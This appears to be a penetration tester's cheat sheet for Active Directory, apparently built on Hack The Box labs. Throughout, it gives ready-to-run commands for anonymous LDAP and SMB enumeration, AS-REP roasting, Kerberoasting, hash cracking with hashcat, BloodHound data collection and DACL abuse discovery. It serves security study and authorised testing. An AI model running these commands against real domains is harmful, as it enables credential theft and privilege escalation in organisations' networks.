Overview
Enterprise environments tend to use active directory to manage the large number of users, devices and group policy across an organization. Misconfigurations inside of Active Directory can allow you to move laterally or privilege escalate to domain admin. There are various tools that can be used to query such as nxc or bloodyAD. Some queries can be performed without credentials, others will require you to come back after initial access is gained.
Anonymous Querying
One of the very first things to test on an device with open LDAP ports is for anonymous login. Combine anonymous login with other techniques to harvest as much information as possible.
# anonymous login - pull all users
$ nxc ldap dc01.target.local --dns-server 10.129.10.10 -d target.local -u '' -p '' --users
# anonymous login - pull all groups
$ nxc ldap dc01.target.local --dns-server 10.129.10.10 -d target.local -u '' -p '' --groups
Password Policy
For live brute forcing, reviewing the password policy is important to prevent hitting account lockouts, which could trigger further alarms. If anonymous login is enabled over smb, it's possible to pull this information without initial access.
# anonymous login, get the password policy of the domain over smb 139/445
$ nxc smb 10.129.10.10 -u '' -p '' -d target.local --pass-pol
AS-REP Roasting
AS-REP Roasting is a technique that allows an attacker to extract password hashes from AD accounts that have Kerberos pre-authentication disabled. It is possible to perform this technique without prior credentials or elevated access. If a hash is discovered, it can attempt to be cracked offline with hashcat.
$ nxc ldap forest.htb.local --dns-server 10.129.95.210 -d HTB.LOCAL -u '' -p '' --asreproast ASREPROAST.txt
$ hashcat -m18200 ASREPROAST.txt /usr/share/wordlists/rockyou.txt
If any hashes are found, see Cracking ASREProast Hashes to proceed with cracking them.
Kerberoasting w/o Pre-Auth
It is possible to combine AS-REP Roasting with Kerberoasting and get service tickets without initial access. If we are able to identify an account from asreproasting where pre-auth isn't required, and have list of target service accounts, kerberoast can be attempted without credentials.
$ impacket-GetUserSPNs -no-preauth "usernameWOpreauth" -usersfile "targets.txt" -dc-ip 10.129.10.10 TARGET.local
If any hashes are found, see Cracking Kerberoast Hashes to proceed with cracking them.
Post-Exploitation
Commands after this point will require credentials, hashes or kerberos ticket for an account.
Bloodhound
Bloodhound is an open source tool that can visualize relationships and identify priveilege pathways in Active Directory Environments. It requires pulling available information from a collector to ingest into the Bloodhound gui. Once data is ingested, you can pick a starting object (such as the account you have initial access) and the end goal (such as Domain Admin) and it will see if there are any direct paths to take towards that goal.
# use bloodyAD to collect basic information from AD
$ bloodyAD -u user.name -p 'p4ssw0rd!' -d target.pwn --host 10.129.10.10 get bloodhound
# or use netexec to collect info from AD (supports Group, LocalAdmin, Session, Trusts, DCOnly, DCOM, RDP, PSRemote, LoggedOn, Container, ObjectProps, ACL)
$ nxc ldap forest.htb.local --dns-server 10.129.95.210 -d HTB.LOCAL -u 'svc-alfresco' -p 's3rvice' --bloodhound -c all
# start bloodhound gui to ingest exported .zip from above
$ bloodhound-start
Kerberoasting
Kerberoasting attacks are a technique that requires finding acconts with Service Principal Names (SPNs) tied to them, and pulling a service ticket to crack the account's password. This attack relies on service accounts tending to have weaker password security such as common password reuse, no password expiration / brute force. This requires authentication, but does not require elevated privileges to perform
# using pypykatz (mimikatz-python) to try and get a legacy type 18 RC4 hash, which is the fastest to crack (can fail on hardened systems)
pypykatz kerberos spnroast -d $DOMAIN -t $TARGET_USER -e 23 "kerberos+password://$DOMAIN/$USER:$PASSWORD@$DC_IP"
# using nxc
$ nxc ldap 10.129.10.10 -u 'user.name' -p 'p4ssw0rd!' --kerberoasting kerb.txt
# using impacket
$ impacket-GetUserSPNs --outputfile kerberoast.txt -dc-ip 10.129.10.10 "TARGET/user:password"
If any hashes are found, see Cracking Kerberoast Hashes to proceed with cracking them.
DACL Abuse
Active Directory has Discretionary Access Control Lists (DACLs) which are made up of Access Control Entries (ACEs). If misconfigured, ACEs can be abused to move laterally or perform privilege escalation.
# view all active directory objects that our current credentials have write access to
$ bloodyAD -u user.name -p 'p4ssw0rd!' -d target.pwn --host 10.129.10.10 get writable
If there are interesting writable groups, see DACL Abuse to proceed with exploitation.